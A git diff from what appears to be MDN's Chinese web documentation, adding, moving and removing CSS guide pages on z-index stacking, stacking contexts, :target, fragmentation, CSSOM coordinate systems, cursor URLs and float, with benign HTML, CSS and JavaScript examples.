  5. 定位元素按HTML中的出现顺序堆叠
  6. +
+ +

在接下来的例子中,相对和绝对定位的块元素的大小和位置刚好说明上述堆叠规则。

+ +
+

Notes:

+ + +
+ +

understanding_zindex_01.png

+ +

 

+ +

示例

+ +
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html>
+<head><style type="text/css">
+
+div {
+   font: 12px Arial;
+}
+
+span.bold { font-weight: bold; }
+
+#normdiv {
+   height: 70px;
+   border: 1px dashed #999966;
+   background-color: #ffffcc;
+   margin: 0px 50px 0px 50px;
+   text-align: center;
+}
+
+#reldiv1 {
+   opacity: 0.7;
+   height: 100px;
+   position: relative;
+   top: 30px;
+   border: 1px dashed #669966;
+   background-color: #ccffcc;
+   margin: 0px 50px 0px 50px;
+   text-align: center;
+}
+
+#reldiv2 {
+   opacity: 0.7;
+   height: 100px;
+   position: relative;
+   top: 15px;
+   left: 20px;
+   border: 1px dashed #669966;
+   background-color: #ccffcc;
+   margin: 0px 50px 0px 50px;
+   text-align: center;
+}
+
+#absdiv1 {
+   opacity: 0.7;
+   position: absolute;
+   width: 150px;
+   height: 350px;
+   top: 10px;
+   left: 10px;
+   border: 1px dashed #990000;
+   background-color: #ffdddd;
+   text-align: center;
+}
+
+#absdiv2 {
+   opacity: 0.7;
+   position: absolute;
+   width: 150px;
+   height: 350px;
+   top: 10px;
+   right: 10px;
+   border: 1px dashed #990000;
+   background-color: #ffdddd;
+   text-align: center;
+}
+
+</style></head>
+
+<body>
+
+<br /><br />
+
+<div id="absdiv1">
+   <br /><span class="bold">DIV #1</span>
+   <br />position: absolute;
+</div>
+
+<div id="reldiv1">
+   <br /><span class="bold">DIV #2</span>
+   <br />position: relative;
+</div>
+
+<div id="reldiv2">
+   <br /><span class="bold">DIV #3</span>
+   <br />position: relative;
+</div>
+
+<div id="absdiv2">
+   <br /><span class="bold">DIV #4</span>
+   <br />position: absolute;
+</div>
+
+<div id="normdiv">
+   <br /><span class="bold">DIV #5</span>
+   <br />no positioning
+</div>
+
+</body></html>
+
+
+ +

See also

+ + + +

 

+ +
+

Original Document Information

+ + +
+ +

{{ languages( { "fr": "fr/CSS/Comprendre_z-index/Empilement_sans_z-index" } ) }}

diff --git a/files/zh-cn/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html b/files/zh-cn/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html new file mode 100644 index 0000000000..6d96e3e198 --- /dev/null +++ b/files/zh-cn/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html @@ -0,0 +1,240 @@ +--- +title: 层叠上下文 +slug: Web/Guide/CSS/Understanding_z_index/The_stacking_context +tags: + - Advanced + - CSS + - CSS层叠上下文 + - z-index + - 教程 +translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context +--- +
{{cssref}}
+ +

我们假定用户正面向(浏览器)视窗或网页,而 HTML 元素沿着其相对于用户的一条虚构的 z 轴排开,层叠上下文就是对这些 HTML 元素的一个三维构想。众 HTML 元素基于其元素属性按照优先级顺序占据这个空间。

+ +

层叠上下文

+ +

在本篇之前的部分——运用 z-index,(我们认识到)某些元素的渲染顺序是由其 z-index 的值影响的。这是因为这些元素具有能够使他们形成一个层叠上下文的特殊属性

+ +

文档中的层叠上下文由满足以下任意一个条件的元素形成:

+ + + +

在层叠上下文中,子元素同样也按照上面解释的规则进行层叠。 重要的是,其子级层叠上下文的 z-index 值只在父级中才有意义。子级层叠上下文被自动视为父级层叠上下文的一个独立单元。

+ +

总结:

+ + + +
Note: 层叠上下文的层级是 HTML 元素层级的一个子级,因为只有某些元素才会创建层叠上下文。可以这样说,没有创建自己的层叠上下文的元素会被父层叠上下文同化
+ +

示例

+ +

Example of stacking rules modified using z-index

+ +

在这个例子中,每个被定位的元素都创建了独自的层叠上下文,因为他们被指定了定位属性和 z-index 值。我们把层叠上下文的层级列在下面:

+ + + +

请一定要注意 DIV #4,DIV #5 和 DIV #6 是 DIV #3 的子元素,所以它们的层叠完全在 DIV #3 中被处理。一旦 DIV #3 中的层叠和渲染处理完成,DIV #3 元素就被作为一个整体传递与兄弟元素的 DIV 在 root(根)元素进行层叠。

+ +
+

注意:

+ + +
+ +

示例源码

+ +

HTML

+ +
<div id="div1">
+  <h1>Division Element #1</h1>
+  <code>position: relative;<br/>
+  z-index: 5;</code>
+</div>
+
+<div id="div2">
+  <h1>Division Element #2</h1>
+  <code>position: relative;<br/>
+  z-index: 2;</code>
+</div>
+
+<div id="div3">
+  <div id="div4">
+    <h1>Division Element #4</h1>
+    <code>position: relative;<br/>
+    z-index: 6;</code>
+  </div>
+
+  <h1>Division Element #3</h1>
+  <code>position: absolute;<br/>
+  z-index: 4;</code>
+
+  <div id="div5">
+    <h1>Division Element #5</h1>
+    <code>position: relative;<br/>
+    z-index: 1;</code>
+  </div>
+
+  <div id="div6">
+    <h1>Division Element #6</h1>
+    <code>position: absolute;<br/>
+    z-index: 3;</code>
+  </div>
+</div>
+ +

CSS

+ +
* {
+    margin: 0;
+}
+html {
+    padding: 20px;
+    font: 12px/20px Arial, sans-serif;
+}
+div {
+    opacity: 0.7;
+    position: relative;
+}
+h1 {
+    font: inherit;
+    font-weight: bold;
+}
+#div1,
+#div2 {
+    border: 1px dashed #696;
+    padding: 10px;
+    background-color: #cfc;
+}
+#div1 {
+    z-index: 5;
+    margin-bottom: 190px;
+}
+#div2 {
+    z-index: 2;
+}
+#div3 {
+    z-index: 4;
+    opacity: 1;
+    position: absolute;
+    top: 40px;
+    left: 180px;
+    width: 330px;
+    border: 1px dashed #900;
+    background-color: #fdd;
+    padding: 40px 20px 20px;
+}
+#div4,
+#div5 {
+    border: 1px dashed #996;
+    background-color: #ffc;
+}
+#div4 {
+    z-index: 6;
+    margin-bottom: 15px;
+    padding: 25px 10px 5px;
+}
+#div5 {
+    z-index: 1;
+    margin-top: 15px;
+    padding: 5px 10px;
+}
+#div6 {
+    z-index: 3;
+    position: absolute;
+    top: 20px;
+    left: 180px;
+    width: 150px;
+    height: 125px;
+    border: 1px dashed #009;
+    padding-top: 125px;
+    background-color: #ddf;
+    text-align: center;
+}
+ +

Result

+ +

{{EmbedLiveSample('示例源码', '100%', '396') }}

+ +

参考

+ + + +
+

原始文档信息

+ + +
diff --git a/files/zh-cn/web/css/css_selectors/comparison_with_xpath/index.html b/files/zh-cn/web/css/css_selectors/comparison_with_xpath/index.html deleted file mode 100644 index c196e077e6..0000000000 --- a/files/zh-cn/web/css/css_selectors/comparison_with_xpath/index.html +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: Comparison of CSS Selectors and XPath -slug: Web/CSS/CSS_Selectors/Comparison_with_XPath -translation_of: Web/XPath/Comparison_with_CSS_selectors ---- -
{{CSSRef("Selectors")}}{{QuickLinksWithSubpages("/en-US/docs/Web/XPath")}}{{Draft}}
- -

本文旨在记录CSS选择器和XPath之间的区别,以便Web开发人员能够更好地为正确的工作选择合适的工具。

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
XPath featureCSS equivalent
ancestor, parent or preceding-sibling axis{{CSSxRef(":has",":has()")}} selector {{experimental_inline}}
attribute axisAttribute selectors
child axisChild combinator
descendant axisDescendant combinator
following-sibling axisGeneral sibling combinator or adjacent sibling combinator
self axis{{CSSxRef(":scope")}} or {{CSSxRef(":host")}} selector
diff --git a/files/zh-cn/web/css/css_selectors/using_the__colon_target_pseudo-class_in_selectors/index.html b/files/zh-cn/web/css/css_selectors/using_the__colon_target_pseudo-class_in_selectors/index.html new file mode 100644 index 0000000000..65883df437 --- /dev/null +++ b/files/zh-cn/web/css/css_selectors/using_the__colon_target_pseudo-class_in_selectors/index.html @@ -0,0 +1,68 @@ +--- +title: '在选择器中使用 :target 伪类' +slug: 'Web/Guide/CSS/Using_the_:target_selector' +tags: + - CSS + - CSS_3 + - Selectors +translation_of: 'Web/CSS/CSS_Selectors/Using_the_:target_pseudo-class_in_selectors' +--- +

{{CSSRef}}

+ +

为了辅助标识那些指向文档特定部分链接的目标, CSS3 选择器 引入了 {{ Cssxref(":target") }} 伪类. Netscape 7.1 已经在 Netscape 系列中加入了这个伪类的支持, 这一新的举措让页面作者能够辅助用户在较大的页面中定位。 

+ +

选择一个目标

+ +

{{ Cssxref(":target") }} 伪类用来指定那些包含片段标识符的 URI 的目标元素样式。 例如, http://developer.mozilla.org/en/docs/Using_the_:target_selector#Example 这个 URI 包含了 #Example 片段标识符。 在HTML中, 标识符是元素的id或者name属性,。由于这两者位于相同的命名空间, 因此, 这个示例 URI 指向的是文档顶层的 "Example" 。

+ +

假设你想修改 URI 指向的任何 h2 元素,但是又不想把样式应用到任何其它同类型的元素,那么以下示例足够简单有用:

+ +
h2:target {font-weight: bold;}
+ +

同样的,将样式应用于特定的文档片段也是可行的。这是通过使用 URI 中相同的标识符实现的。例如,要在 #Example 文档片段中加入边框,我们可以通过如下代码实现: 

+ +
#Example:target {border: 1px solid black;}
+ +

定位所有元素

+ +

如果想要创建应用于所有目标元素的样式,那么可以使用通用选择器:

+ +
:target {color: red;}
+
+ +

示例

+ +

在以下示例中, 5个链接指向了同一文档中的元素。例如,选择 "First" 链接会导致 <h1 id="one"> 成为目标元素。 注意,由于目标元素有可能会被放置到浏览器窗口的顶层,因此文档可能会跳到新的滚动位置。

+ +
+
<h4 id="one">...</h4> <p id="two">...</p>
+<div id="three">...</div> <a id="four">...</a> <em id="five">...</em>
+
+<a href="#one">First</a>
+<a href="#two">Second</a>
+<a href="#three">Third</a>
+<a href="#four">Fourth</a>
+<a href="#five">Fifth</a>
+
+ +

结论

+ +

在片段标识符指向部分文档的情况下,读者可能会对到底应该阅读文档的哪一部分感到疑惑。通过对不同的目标元素的样式进行修饰, 读者的相关疑惑会减少或者消除。

+ + + + + +
+

Original Document Information

+ + +
diff --git "a/files/zh-cn/web/css/css_\345\210\206\347\211\207/index.html" "b/files/zh-cn/web/css/css_\345\210\206\347\211\207/index.html" deleted file mode 100644 index 5b0d8e7a13..0000000000 --- "a/files/zh-cn/web/css/css_\345\210\206\347\211\207/index.html" +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: CSS分片 -slug: Web/CSS/CSS_分片 -tags: - - CSS - - CSS分片 - - 参考 -translation_of: Web/CSS/CSS_Fragmentation ---- -
{{cssref}}
- -

CSS FragmentationCSS的模块,它定义了内容在跨多个页面,区域或列中被分割(分段)时如何显示

- -

当一个内联框包装成多行时会发生碎片。当一个块跨越一个列布局容器内的多个列,或者在打印时跨越一个分页符时,也会发生这种情况。元素的每个渲染片段称为一个片段

- -

参考

- -
- -
- -

规格

- - - - - - - - - - - - - - - - -
规格状态评论
{{SpecName('CSS3 Fragmentation')}}{{Spec2('CSS3 Fragmentation')}}初始定义。
diff --git a/files/zh-cn/web/css/cssom_view/coordinate_systems/index.html b/files/zh-cn/web/css/cssom_view/coordinate_systems/index.html new file mode 100644 index 0000000000..d6ea967a43 --- /dev/null +++ b/files/zh-cn/web/css/cssom_view/coordinate_systems/index.html @@ -0,0 +1,178 @@ +--- +title: 坐标系 +slug: Web/CSS/CSSOM_View/坐标系 +translation_of: Web/CSS/CSSOM_View/Coordinate_systems +--- +
{{cssref}}
+ +

当我们需要在图形上指定一点的坐标{{interwiki("wikipedia", "algebra")}}),这个坐标需要先对于某一个固定点. 这个固定点我们称为原点{{interwiki("wikipedia", "Origin_(mathematics)", "origin")}}. 这个指定点的坐标即为包含在各个维度上相对于远点的距离值。

+ +

下面我将谈谈基于CSS对象模型的坐标系系统。大体上来讲这些坐标系唯一的不同就是坐标原点不一样。

+ +

Dimensions坐标维度

+ +

在网页技术里,通常来讲,相对于坐标原点,x轴指向右为正值,向左为负值;y轴向下为正值,向上为负值。

+ +

On the web, the default origin is the top-left corner of a given context (with positive y-coordinate values being below the origin). Note that this is unlike most mathematical models, where the origin is at the bottom-left corner, with positive y-coordinate values being above the origin.

+ +

When drawing 3D graphics, or using a third dimension to layer objects from front to back, the z-coordinate is also used. This specifies the distance away from the viewer if positive and toward the viewer if negative.

+ +
+

It's actually possible to change the definitions and orientations of these coordinate systems using CSS properties such as {{cssxref("transform")}}. However, we'll only talk about the standard coordinate system for now.

+
+ +

Standard CSSOM coordinate systems

+ +

There are four standard coordinate systems used by the CSS object model, as described below.

+ +

Offset

+ +

Coordinates specified using the "offset" model use the top-left corner of the element being examined, or on which an event has occurred.

+ +

For example, when a {{domxref("MouseEvent", "mouse event", "", 1)}} occurs, the position of the mouse as specified in the event's {{domxref("MouseEvent.offsetX", "offsetX")}} and {{domxref("MouseEvent.offsetY", "offsetY")}} properties are given relative to the top-left corner of the node to which the event has been delivered. The origin is inset by the distances specified by {{cssxref("padding-left")}} and {{cssxref("padding-top")}}.

+ +

Client

+ +

The "client" coordinate system uses as its origin the top-left corner of the viewport or browsing context in which the event occurred. This is the entire viewing area in which the document is presented. Scrolling is not a factor.

+ +

On a desktop computer, for example, the {{domxref("MouseEvent.clientX")}} and {{domxref("MouseEvent.clientY")}} properties indicate the position of the mouse cursor at the moment the event occurred, relative to the top-left corner of the browser window. The top-left corner of the window is always (0, 0), regardless of the content of the document or any scrolling that may have been done. In other words, scrolling the document will change the client coordinates of a given position within the document.

+ +

Page

+ +

The "page" coordinate system gives the position of a pixel relative to the top-left corner of the entire {{domxref("Document")}} in which the pixel is located. That means that a given point in an element within the document will keep the same coordinates in the page model unless the element moves (either directly by changing its position or indirectly by adding or resizing other content).

+ +

Mouse events' {{domxref("MouseEvent.pageX", "pageX")}} and {{domxref("MouseEvent.pageY", "pageY")}} properties provide the position of the mouse at the time the event was generated, given relative to the top-left corner of the document.

+ +

Screen

+ +

Finally, we come to the "screen" model. It's probably fairly obvious what this is: it's the coordinate system where the origin is located at the top-left corner of the user's entire screen space. This means that the position of a given point within a document will change if the containing window is moved, for example, or if the user's screen geometry changes (by changing display resolution or by adding or removing monitors to their system).

+ +

The {{domxref("MouseEvent.screenX")}} and {{domxref("MouseEvent.screenY")}} properties give the coordinates of a mouse event's position relative to the screen's origin.

+ +

Example

+ +

Let's take a look at an example. This simple example creates a set of nested boxes. Whenever the mouse enters, moves around inside, or exits the inner box, the corresponding event is handled by updating a set of informational messages within the box, listing out the current mouse coordinates in each of the four available coordinate systems.

+ +

JavaScript

+ +

Let's look at the script in two sections. First, the code that logs the coordinates to the screen. This code will be called by the event handler for the various mouse events we watch.

+ +

Displaying the coordinates

+ +

As we'll see in the HTML, the inner box (the one we're watching for events on) contains several paragraphs; one for each of the four coordinate systems we'll be reporting on.

+ +
let inner = document.querySelector(".inner");
+let log = document.querySelector(".log");
+
+function setCoords(e, type) {
+  let idX = type + "X";
+  let idY = type + "Y";
+
+  document.getElementById(idX).innerText = e[idX];
+  document.getElementById(idY).innerText = e[idY];
+}
+
+ +

A reference to the {{HTMLElement("div")}} inside the inner box which contains the paragraphs that will show the coordinate information is fetched into log.

+ +

The setCoords() function is designed to accept as input a {{domxref("MouseEvent")}} and the name of the origin to use when obtaining the coordinates. The implementation is then quite simple. The variables idX and idY are set to strings with the names of the properties corresponding to the coordinates in the given coordinate system. For example, if the value of type is "page", then idX is "pageX" and idY is "pageY".

+ +

Handling the mouse events

+ +

setCoords() is called by the event handler for the various mouse events, named update(); this is shown below.

+ +
function update(e) {
+  setCoords(e, "offset");
+  setCoords(e, "client");
+  setCoords(e, "page");
+  setCoords(e, "screen");
+}
+
+inner.addEventListener("mouseenter", update, false);
+inner.addEventListener("mousemove", update, false);
+inner.addEventListener("mouseleave", update, false);
+ +

The event handler is in the update() method. It simply calls setCoords() once for each coordinate system, passing in the event that occurred.

+ +

Our main code sets up the event handlers on the inner box by calling {{domxref("EventTarget.addEventListener", "addEventListener()")}} for each of the types {{event("mouseenter")}}, {{event("mousemove")}}, and {{event("mouseleave")}}.

+ +

HTML

+ +

The HTML for our example is below. Note that within the <div> with the ID "log", we have a paragraph for each coordinate system, with {{domxref("span")}} used for each of the elements to receive and display the coordinates in each model.

+ +
<div class="outer">
+  <div class="inner">
+    <div class="log">
+      <p>
+        Offset-relative: <span id="offsetX">0</span>,
+        <span id="offsetY">0</span>
+      </p>
+      <p>
+        Client-relative: <span id="clientX">0</span>,
+        <span id="clientY">0</span>
+      </p>
+      <p>
+        Page-relative: <span id="pageX">0</span>,
+        <span id="pageY">0</span>
+      </p>
+      <p>
+        Screen-relative: <span id="screenX">0</span>,
+        <span id="screenY">0</span>
+      </p>
+    </div>
+  </div>
+</div>
+ +
+

CSS

+
+ +

The CSS is pretty much just for appearances here. The class "outer" is used for the containing box, which is intentionally too wide to show in the MDN window, to allow you to scroll it horizontally. The "inner" box is the one that we track events in and in which we show the mouse coordinates.

+ +
.outer {
+  width: 1000px;
+  height: 200px;
+  background-color: red;
+}
+
+.inner {
+  position: relative;
+  width: 500px;
+  height: 150px;
+  top: 25px;
+  left: 100px;
+  background-color: blue;
+  color: white;
+  cursor: crosshair;
+  user-select: none;
+  -moz-user-select: none;
+  -ms-user-select: none;
+  -webkit-user-select: none;
+}
+
+.log {
+  position: relative;
+  width: 100%;
+  text-align: center;
+}
+
+ +

Result

+ +

Here you can see the results in action. As you mouse in and around the blue box, watch the values of the mouse's X and Y coordinates change in the various coordinate systems in which you can obtain the values. Note also the effect of scrolling the example horizontally upon the values returned and how the value of clientX doesn't change.

+ +

{{EmbedLiveSample("Example", 600, 250)}}

+ +

See also

+ + diff --git "a/files/zh-cn/web/css/cssom_view/\345\235\220\346\240\207\347\263\273/index.html" "b/files/zh-cn/web/css/cssom_view/\345\235\220\346\240\207\347\263\273/index.html" deleted file mode 100644 index d6ea967a43..0000000000 --- "a/files/zh-cn/web/css/cssom_view/\345\235\220\346\240\207\347\263\273/index.html" +++ /dev/null @@ -1,178 +0,0 @@ ---- -title: 坐标系 -slug: Web/CSS/CSSOM_View/坐标系 -translation_of: Web/CSS/CSSOM_View/Coordinate_systems ---- -
{{cssref}}
- -

当我们需要在图形上指定一点的坐标{{interwiki("wikipedia", "algebra")}}),这个坐标需要先对于某一个固定点. 这个固定点我们称为原点{{interwiki("wikipedia", "Origin_(mathematics)", "origin")}}. 这个指定点的坐标即为包含在各个维度上相对于远点的距离值。

- -

下面我将谈谈基于CSS对象模型的坐标系系统。大体上来讲这些坐标系唯一的不同就是坐标原点不一样。

- -

Dimensions坐标维度

- -

在网页技术里,通常来讲,相对于坐标原点,x轴指向右为正值,向左为负值;y轴向下为正值,向上为负值。

- -

On the web, the default origin is the top-left corner of a given context (with positive y-coordinate values being below the origin). Note that this is unlike most mathematical models, where the origin is at the bottom-left corner, with positive y-coordinate values being above the origin.

- -

When drawing 3D graphics, or using a third dimension to layer objects from front to back, the z-coordinate is also used. This specifies the distance away from the viewer if positive and toward the viewer if negative.

- -
-

It's actually possible to change the definitions and orientations of these coordinate systems using CSS properties such as {{cssxref("transform")}}. However, we'll only talk about the standard coordinate system for now.

-
- -

Standard CSSOM coordinate systems

- -

There are four standard coordinate systems used by the CSS object model, as described below.

- -

Offset

- -

Coordinates specified using the "offset" model use the top-left corner of the element being examined, or on which an event has occurred.

- -

For example, when a {{domxref("MouseEvent", "mouse event", "", 1)}} occurs, the position of the mouse as specified in the event's {{domxref("MouseEvent.offsetX", "offsetX")}} and {{domxref("MouseEvent.offsetY", "offsetY")}} properties are given relative to the top-left corner of the node to which the event has been delivered. The origin is inset by the distances specified by {{cssxref("padding-left")}} and {{cssxref("padding-top")}}.

- -

Client

- -

The "client" coordinate system uses as its origin the top-left corner of the viewport or browsing context in which the event occurred. This is the entire viewing area in which the document is presented. Scrolling is not a factor.

- -

On a desktop computer, for example, the {{domxref("MouseEvent.clientX")}} and {{domxref("MouseEvent.clientY")}} properties indicate the position of the mouse cursor at the moment the event occurred, relative to the top-left corner of the browser window. The top-left corner of the window is always (0, 0), regardless of the content of the document or any scrolling that may have been done. In other words, scrolling the document will change the client coordinates of a given position within the document.

- -

Page

- -

The "page" coordinate system gives the position of a pixel relative to the top-left corner of the entire {{domxref("Document")}} in which the pixel is located. That means that a given point in an element within the document will keep the same coordinates in the page model unless the element moves (either directly by changing its position or indirectly by adding or resizing other content).

- -

Mouse events' {{domxref("MouseEvent.pageX", "pageX")}} and {{domxref("MouseEvent.pageY", "pageY")}} properties provide the position of the mouse at the time the event was generated, given relative to the top-left corner of the document.

- -

Screen

- -

Finally, we come to the "screen" model. It's probably fairly obvious what this is: it's the coordinate system where the origin is located at the top-left corner of the user's entire screen space. This means that the position of a given point within a document will change if the containing window is moved, for example, or if the user's screen geometry changes (by changing display resolution or by adding or removing monitors to their system).

- -

The {{domxref("MouseEvent.screenX")}} and {{domxref("MouseEvent.screenY")}} properties give the coordinates of a mouse event's position relative to the screen's origin.

- -

Example

- -

Let's take a look at an example. This simple example creates a set of nested boxes. Whenever the mouse enters, moves around inside, or exits the inner box, the corresponding event is handled by updating a set of informational messages within the box, listing out the current mouse coordinates in each of the four available coordinate systems.

- -

JavaScript

- -

Let's look at the script in two sections. First, the code that logs the coordinates to the screen. This code will be called by the event handler for the various mouse events we watch.

- -

Displaying the coordinates

- -

As we'll see in the HTML, the inner box (the one we're watching for events on) contains several paragraphs; one for each of the four coordinate systems we'll be reporting on.

- -
let inner = document.querySelector(".inner");
-let log = document.querySelector(".log");
-
-function setCoords(e, type) {
-  let idX = type + "X";
-  let idY = type + "Y";
-
-  document.getElementById(idX).innerText = e[idX];
-  document.getElementById(idY).innerText = e[idY];
-}
-
- -

A reference to the {{HTMLElement("div")}} inside the inner box which contains the paragraphs that will show the coordinate information is fetched into log.

- -

The setCoords() function is designed to accept as input a {{domxref("MouseEvent")}} and the name of the origin to use when obtaining the coordinates. The implementation is then quite simple. The variables idX and idY are set to strings with the names of the properties corresponding to the coordinates in the given coordinate system. For example, if the value of type is "page", then idX is "pageX" and idY is "pageY".

- -

Handling the mouse events

- -

setCoords() is called by the event handler for the various mouse events, named update(); this is shown below.

- -
function update(e) {
-  setCoords(e, "offset");
-  setCoords(e, "client");
-  setCoords(e, "page");
-  setCoords(e, "screen");
-}
-
-inner.addEventListener("mouseenter", update, false);
-inner.addEventListener("mousemove", update, false);
-inner.addEventListener("mouseleave", update, false);
- -

The event handler is in the update() method. It simply calls setCoords() once for each coordinate system, passing in the event that occurred.

- -

Our main code sets up the event handlers on the inner box by calling {{domxref("EventTarget.addEventListener", "addEventListener()")}} for each of the types {{event("mouseenter")}}, {{event("mousemove")}}, and {{event("mouseleave")}}.

- -

HTML

- -

The HTML for our example is below. Note that within the <div> with the ID "log", we have a paragraph for each coordinate system, with {{domxref("span")}} used for each of the elements to receive and display the coordinates in each model.

- -
<div class="outer">
-  <div class="inner">
-    <div class="log">
-      <p>
-        Offset-relative: <span id="offsetX">0</span>,
-        <span id="offsetY">0</span>
-      </p>
-      <p>
-        Client-relative: <span id="clientX">0</span>,
-        <span id="clientY">0</span>
-      </p>
-      <p>
-        Page-relative: <span id="pageX">0</span>,
-        <span id="pageY">0</span>
-      </p>
-      <p>
-        Screen-relative: <span id="screenX">0</span>,
-        <span id="screenY">0</span>
-      </p>
-    </div>
-  </div>
-</div>
- -
-

CSS

-
- -

The CSS is pretty much just for appearances here. The class "outer" is used for the containing box, which is intentionally too wide to show in the MDN window, to allow you to scroll it horizontally. The "inner" box is the one that we track events in and in which we show the mouse coordinates.

- -
.outer {
-  width: 1000px;
-  height: 200px;
-  background-color: red;
-}
-
-.inner {
-  position: relative;
-  width: 500px;
-  height: 150px;
-  top: 25px;
-  left: 100px;
-  background-color: blue;
-  color: white;
-  cursor: crosshair;
-  user-select: none;
-  -moz-user-select: none;
-  -ms-user-select: none;
-  -webkit-user-select: none;
-}
-
-.log {
-  position: relative;
-  width: 100%;
-  text-align: center;
-}
-
- -

Result

- -

Here you can see the results in action. As you mouse in and around the blue box, watch the values of the mouse's X and Y coordinates change in the various coordinate systems in which you can obtain the values. Note also the effect of scrolling the example horizontally upon the values returned and how the value of clientX doesn't change.

- -

{{EmbedLiveSample("Example", 600, 250)}}

- -

See also

- - diff --git a/files/zh-cn/web/css/cursor/url/index.html b/files/zh-cn/web/css/cursor/url/index.html deleted file mode 100644 index fcde4cecb2..0000000000 --- a/files/zh-cn/web/css/cursor/url/index.html +++ /dev/null @@ -1,125 +0,0 @@ ---- -title: Using URL values for the cursor property -slug: Web/CSS/cursor/url -tags: - - Cursor - - URL -translation_of: Web/CSS/CSS_Basic_User_Interface/Using_URL_values_for_the_cursor_property ---- -

Gecko 1.8 (Firefox 1.5,SeaMonkey 1.0) 支持CSS的URL值 {{cssxref("cursor")}} 属性在Windows和Linux。Mac支持是在Gecko 2(Firefox 4)中添加的。这允许将任意图像指定为鼠标光标 - 可以使用Gecko支持的任何图像格式。

- -

语法

- -

此属性的基本(CSS 2.1)语法是:

- -
cursor: [<url>,]* keyword;
-
- -

这意味着可以指定零个或多个URL(逗号分隔),后面必须跟随CSS规范中定义的一个关键字,例如 auto或 pointer。

- -

例如,将允许以下值:

- -
cursor: url(foo.cur), url(http://www.example.com/bar.gif), auto;
-
- -

首先尝试加载 foo.cur。如果文件不存在或者其它无效原因,bar.gif被尝试加载,如果bar.gif不能被加载,那么使用auto

- -

在Gecko 1.8beta3 (Deer Park Alpha 2)中加入了对CSS3 语法的指针属性的支持。

- -
cursor:  [<uri> [<x> <y>]?,]* keyword
- -

因此,它能在Firefox 1.5中工作。它允许定义指针的热点,加强对指针图橡的边界的控制。如果一个也没有设置,指针的热点会从文件本身读取(适合CUR和XBM文件类型)。否则,设置成图像的左上角。一个CSS3语法的例子:

- -
.foo  {
-    cursor:  auto;
-    cursor:  url(cursor1.png) 4 12, auto;
-}
-
-.bar  {
-    cursor:  pointer;
-    cursor:  url(cursor2.png) 2 2, pointer;
-}
-
-/*
-fallsback onto 'auto' and 'pointer' in IE,
-but must be set separately
-*/
- -

第一个数字是X坐标,第二个数字是Y坐标。该示例将热点设置为从左上角(0,0)到(4,12)处的像素。

- -

局限性

- -

可以使用任何被Gecko所支持的图像格式。这意味着你可以使用BMP,JPG,CUR,GIF等等。可是,ANI不被支持。还有即使你定义一个GIF动画,指针也不会变成GIF动画。这个局限性可能在以后的版本去掉。

- -

Gecko它本身不能限制被替换的指针大小。无论如何,你应该自己限制图像的最大值在32x32,以便兼容各种平台的操作系统。尤其是大于这个尺寸的指针不能在Windows 9x (95,98,ME)下工作。

- -

透明效果的指针在Windows XP以前都不被支持。这是操作系统的一个局限性。透明效果可以在所有平台下工作。

- -

只 有Windows,OS/2和Linux(使用Gtk+ 2.4及更高版本)的Mozilla版本支持光标属性的URL参数。其它版本可能在以后的版本中加入支持(Mac OS: {{ Bug(286304) }}, QNX Neutrino: {{ Bug(286307) }}, XLib: {{ Bug(286309) }}, Qt: {{ Bug(286310) }}, BeOS: {{ Bug(298184) }}, Gtk 2.0/2.2: {{ Bug(308536) }})。

- -

关于其它浏览器的兼容性

- -

Microsoft Internet Explorer 6.0还支持cursor属性的URI值。然而:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
BrowserLowest versionformats (e.g.)x-y-coordinates
Internet Explorer6.0.cur | .ani---
Firefox (Gecko), Windows and Linux1.5 (1.8).cur | .png | .gif | .jpg1.5 (1.8)
Firefox (Gecko)4.0 (2.0).cur | .png | .gif | .jpg | .svg(Gecko 2.0)
Opera---------
Safari (Webkit)3.0 (522-523).cur | .png | .gif | .jpg3.0 (522-523)
Since OS X 10.5 supports Safari (Mac) .curfiles
- -

它也使用不严格的光标属性语法。例如像这样的参数:

- -
cursor: url(foo.cur);
-
- -

或者:

- -
cursor: url(foo.cur), pointer, url(bar.cur), auto;
-
- -

可以在MSIE上工作,但是不能在Gecko上面工作。因为Gecko的兼容性与CSS的规范一致,URIs表始终放置在前面,在最后放置正确的关键字。

- -

 

diff --git a/files/zh-cn/web/css/float/index.html b/files/zh-cn/web/css/float/index.html new file mode 100644 index 0000000000..30f9928c0b --- /dev/null +++ b/files/zh-cn/web/css/float/index.html @@ -0,0 +1,247 @@ +--- +title: float +slug: CSS/float +tags: + - CSS + - CSS Positioning + - CSS Property + - CSS 定位 + - CSS 属性 + - 参考 +translation_of: Web/CSS/float +--- +
{{CSSRef}}
+ +

float CSS属性指定一个元素应沿其容器的左侧或右侧放置,允许文本和内联元素环绕它。该元素从网页的正常流动(文档流)中移除,尽管仍然保持部分的流动性(与绝对定位相反)。

+ +
{{EmbedInteractiveExample("pages/css/float.html")}}
+ + + +

浮动元素float 的计算值非 none 的元素。

+ +

由于float意味着使用块布局,它在某些情况下修改{{cssxref("display")}} 值的计算值:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
指定值计算值
inlineblock
inline-blockblock
inline-tabletable
table-rowblock
table-row-groupblock
table-columnblock
table-column-groupblock
table-cellblock
table-captionblock
table-header-groupblock
table-footer-groupblock
flexflex, 但是float对这样的元素不起作用
inline-flexinline-flex, 但是float对这样的元素不起作用
otherunchanged
+ +
备注:如果要在 JavaScript 中把float属性当作{{domxref("element.style")}}对象的一个成员来操作,那么在Firefox 34 和更老的版本中,你必须拼写成cssFloat。另外还要注意到在 Internet Explorer 8 和更老的IE当中,要使用styleFloat属性。这是DOM驼峰命名和CSS所用的连字符分隔命名法对应关系中的一个特例(这是因为在 JavaScript 中"float"是一个保留字,因为同样的原因,"class"被改成了"className" 、"for"被改成了"htmlFor")。
+ +

语法

+ +
/* Keyword values */
+float: left;
+float: right;
+float: none;
+float: inline-start;
+float: inline-end;
+
+/* Global values */
+float: inherit;
+float: initial;
+float: unset;
+ +

float 属性的值被指定为单一的关键字,值从下面的值列表中选择。

+ +

+ +
+
left
